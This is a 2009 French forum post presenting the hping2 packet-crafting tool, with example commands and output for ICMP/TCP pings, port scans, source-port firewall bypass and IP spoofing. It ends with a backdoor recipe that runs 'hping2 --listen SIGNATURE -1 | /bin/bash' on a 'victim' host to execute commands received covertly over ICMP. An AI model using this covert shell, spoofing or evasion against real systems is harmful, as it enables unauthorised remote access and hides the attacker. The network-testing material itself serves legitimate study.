[OUTIL] HPING2

Moderator: Mod

[OUTIL] HPING2

Postby BRENDAN56 » Wed Jul 29, 2009 5:30 pm

Bonjour tout le monde, je post ce topic pour vous présenter un nouvel outils gratuit en licence GPL : HPING2.

[quote:6833169faa]
PING est sans aucun doute la commande la plus utilisée par l'ensemble des exploitants d'un réseau informatique ; elle permet de vérifier très simplement la connectivité avec un hôte distant du réseau au moyen du protocole ICMP. Un simple PING n'offre cependant pas de réelle information sur la stratégie de sécurité de l'hôte distant (firewall, règle de filtrage, etc).
Cet article sera donc consacrée à une présentation de son grand frère " HPING 2". Il détaillera son fonctionnement ainsi que quelques options avancées.
[/quote:6833169faa]

[u:6833169faa][b:6833169faa]INTRODUCTION :[/b:6833169faa][/u:6833169faa]

HPING2 sera particulièrement intéressant pour les administrateur réseaux, ou tout autre personne désirant de mettre à l'épreuve un dispositif de sécurité, comme un firewall par exemple.

HPING2 est une alternative à la commande de base PING. Il est relativement évolué et permet de gérer plusieurs protocoles. On peut donc classiquement effectuer des requêtes ICMP, mais aussi envoyer des requêtes TCP ou UDP sur n'importe quel port port pour vérifier son état, et ceci de façon discrète.

Le principal avantage de cet outil est qu'il retourne, en fonction des paramètres qui lui sont passés, un grand variété de réponses de la part des cibles. Nous pourrons, entre autre, détecter des paquets ouverts, bloqués, rejetés ou abandonnés. cet outil réseau offre aussi la possibilité de modifier manuellement les champs de headers à la ligne de commande ou encore faire du transfert de fichier via les protocoles supportés. On peut notamment insérer des données malveillantes (ou bienveillantes ;-)) dans les paquets (buffer-overflows, trojans) et les utiliser pour pénétrer des réseaux.

Je vous propose de découvrir cet utilitaire au travers d'exemples de plus en plus avancés, puis de conclure sur une utilisation "détournée" de HPING2 en tant que troyen.

Voici une présentation des commandes de base de cet outil. On retrouve le "ping classique" avec -c pour spécifier le nombre de paquets à envoyer :


[quote:6833169faa]
# hping2 -c 1 192.168.1.1 -1

HPING 192.168.1.1 (eth0 192.168.1.1) : icmp mode set, 28 headers + 0 data bytes

len=46 ip=192.168.1.1 ttl=64 id=44279 icmp_seq=0 rtt=0.8 ms



--- 192.168.1.1 hping statistic ---

1 packets transmitted, 1 packets received, 0% packet loss

round-trip min/avg/max = 0.8/0.8/0.8 ms
[/quote:6833169faa]

Par défaut, on observe bien que les paquets sont émis en TCP :

[quote:6833169faa]
# hping2 -c 1 192.168.1.1

HPING 192.168.1.1 (eth0 192.168.1.1) : NO FLAGS are set, 40 headers + 0 data bytes

len=46 ip=192.168.1.1 ttl=64 id=44279 icmp_seq=0 rtt=0.8 ms



--- 192.168.1.1 hping statistic ---

1 packets transmitted, 1 packets received, 0% packet loss

round-trip min/avg/max = 0.8/0.8/0.8 ms
[/quote:6833169faa]

len est la taille, en octets, des données capturées dans la couche de liaison de données en excluant ip est la taille de l'en-tête de liaison de données.

ip est l'adresse ip source.

flags sont les drapeaux TCP, R pour RESET, S pour SYN, A pour ACK, F pour FIN, P pou PUSH, U pou URGENT, X pour 0x40 non standard, Y pour 0x80 non standard. Si la réponse contient DF l'entête ip possède le bit don't fragment (ne pas fragmenter) positionné.

seq est le numéro de séquence du paquet, obtenu en utilisant le port source pour les paquets TCP/UDP, le champ séquence pour les paquets ICMP.

[u:6833169faa][i:6833169faa][b:6833169faa]Je continue mon post cette nuit je go ciné :D
Je vous invite réviser les modèle OSI pour ceux qui on pas compris jusque là.[/b:6833169faa][/i:6833169faa][/u:6833169faa]

id est le champ IP ID


win est la taille de la fenêtre TCP

rtt est le "round ttrip time" (ndt : temps aller-retour) en millisecondes.


L'option -t permet de spécifier le champ TTL (Time to live) du protocole IP. La mojarité des champs du protocole IP sont modifiables par des arguments de cette manière
[quote:6833169faa]
>hping 192.168.4.222 -t 3
[/quote:6833169faa]

Par défaut, hping2 envoir des requêtes TCP sur le port 0 de l'hôte de destination, avec aucun drapeau (flag) positionné, ce qui aura pour effet de ne pas êtres inscrit dans les logs dans la plupart des cas. Le retour sera une réponse TCP avec les drapeaux RST et ACK positionnés si l'hôte distant est connecté avec une configuration TCP/IP fonctionnelle.

Comme nous l'avons dit précédemment, hping2 supporte plusieurs protocoles, la spécification d'un protocole particulier est a passer dans la ligne commance avec :

- 0 active le mode RAW IP, qui permet de signer la requête.

- 1 sélectionne le mode ICMP, qui équivaut alors à la simple commande ping.

- 2 sélectionne le mode UDP, qui émet des segments UDP.

- 9 active le mode listen, qui permet de recevoir des paquets signés

Cette option-p précise le port de destination que l'ont veut joindre. cet outil est très pratique pour faire du scannage de port et ainsi déterminer les sécurités utilisées par un firewall par exemple :



[quote:6833169faa]
# hping2 -c 1 192.168.1.1 -p 53

HPING 192.168.1.1 (eth0 192.168.1.1) : NO FLAGS are set, 40 headers + 0 data bytes

len=46 ip=192.168.1.1 ttl=64 DF id=2682 sport=53 flags=RA seq=0 win=0 rtt=0.8 ms

--- 192.168.1.1 hping statistic ---

1 packets transmitted, 1 packets received, 0% loss

round-trip min/avg/max = 0.8/0.8/0.8 ms
[/quote:6833169faa]

L'option -s permet de spécifier le port source de la requête. Cette fonction trouve son utilité lorsqu'on veut passer outre une firewall particulièrement fermé ne laissant rentrer que des packets en provenance d'un certain port (ici 53 : requête DNS) :

[quote:6833169faa]
# hping2 -c 1 192.168.1.1 -s 53

HPING 192.168.1.1 (eth0 192.168.1.1) : NO FLAGS are set, 40 headers + 0 data bytes

len=46 ip=192.168.1.1 ttl=64 DF id=2704 sport=0 flags=RA seq=0 win=0 rtt=0.7 ms

--- 192.168.1.1 hping statistic ---

1 packets transmitted, 1 packets received, 0% loss

round-trip min/avg/max = 0.7/0.7/0.7 ms
[/quote:6833169faa]

Bien que d'autres champs sont modifiables par les différentes options, on peut par exemple citer les champs seq, window, ainsi que tout les flags que l'on peut spécifier un à un.

Il est aussi possible de réaliser des scans avancés avec hping, de retrouver les services en écoute ou de visualiser les différents flags dans les paquets :


[quote:6833169faa]
# hping2 --scan 20-80 -S 192.168.1.1

Scanning 192.168.1.1 (192.168.1.1), port 20-80

61 ports to scan, use -V to see all the replies

+----+--------------+---------+---+-----+-----+

|port |serv name | flangs | ttl | id | win |

+----+--------------+---------+---+-----+-----+
23 telnet : .S..A... 64 0 5840
80 www : .S..A... 64 0 5840

All replies received. done.
[/quote:6833169faa]

On scanne du port 20 au port 80 et l'option -S nous permet de fixer le drapeau TCP SYN dans nos paquets (indique une demande d'établissement de connexion). Il est à noter que le mot spécial "all" peut-être utilisé pour la plage 0-65535, et que le mot spécial "known" inclut tous les ports listés dans etc/services.

On peut aussi ajouter que lorsque hping est utilisé en tant que scanner de port, il conserve toutes ses fonctionnalités et il est possible de changer la taille de la fenêtre TCP, le TLL, contrôler la fragmentation IP comme habituellement et ainsi de suite.

Lors d'un scan les champs IP ID, TCP win, TTL, et ainsi de suite montrent des détails intéressants que la plupart des scanners de ports ne révèlent pas.
N'oubliez pas de regarder ces informations additionnelles !

Un ping TCP avec spoofing est aussi supporté, l'option -a permet de fixer une fausse adresse source, cette otpion assure que le système cible n'obtiendra pas votre adresse réelle :

[quote:6833169faa]
# hping 192.168.1.1 -a www.google.fr HPING 192.168.29.1 (eth0 192.168.29.1) : NO FLAGS are set, 40 headers + 0 data bytes
[/quote:6833169faa]

Dans ce mode vous n'aurez bien sur pas les réponses, qui seront envoyés à la machine spécifiés par l'option -a (des méthodes existent cependant pour les récupérer).

Et pour terminer cette présentation, voici une petite manipulation qui va nous parmettre d'avoir la main sur un système au moyen d'une utilisation avancée de l'outil hping, à savoir le transfert d'information au protocoles ICMP.

Hping2 permet effectivement d'envoyer des paquets contenant des données définies par l'utilisateur. Pour inclure les données à envoyer il nous faut utiliser l'option -E en spécifiant le nom de chemin du fichier contenant les infos à envoyer.

Hping2 permet aussi d'envoyer des paquets contenant une signature spécifiée par l'utilisateur sous forme de chaîne de caractères. L'option -e est alors nécessaire.

Du côté client, la commande à envoyer peut donc ressembler à ceci :
[quote:6833169faa]
> hping2 192.168.1.10 -e signature -E fichiercommande.lst -d 50 -1
[/quote:6833169faa]

L'option -1 précise le protocole à utiliser (ICMP), -d 50 nous sert à fixer la taille du corps du paquet, -E nous permet d'utiliser le contenu du fichier fichierdecommande.lst pour remplir les données du paquet et -e nous permet de préciser notre propre signature.

Pour que la manœuvre puisse fonctionner, il faut placer sur la machine "victime" hming2 en mode écoute grâce à --listen. en utilisant cette otpion hping2 attends les paquets qui contiennent la signature et exporte les données du paquet. Il ne nous rste plus qu'a rédiger ces données vers quelque chose d'intéressant et le tour est joué :

[quote:6833169faa]
> hping2 --listen SIGNATURE -1 | /bin/bash
[/quote:6833169faa]

Toujours -1 pour spécifier le protocole, les données retrouvées après la signature dans le paquet ICMP seront envoyés vers un shell !

Il ne s'agit là que d'un exemple d'utilisation, mais les possibilités d'exploitation sont nombreuses. Le fait de pouvoir forger "à la main" des paquets, aussi bien au niveau des en-têtes que des données peut nous aider à réaliser de nombreux tests, sur les règles des firewall ou sur la prise d'information dans la pile TCP/IP de la machine distante en analysant les éventuelles réponses.

Voilà fini. Source HacKethic.
Brendan,
pour un monde libre
User avatar
BRENDAN56
Projets
 
Posts: 88
Joined: Mon Jul 13, 2009 9:42 am

Return to Divers

Who is online

Users browsing this forum: No registered users and 30 guests

cron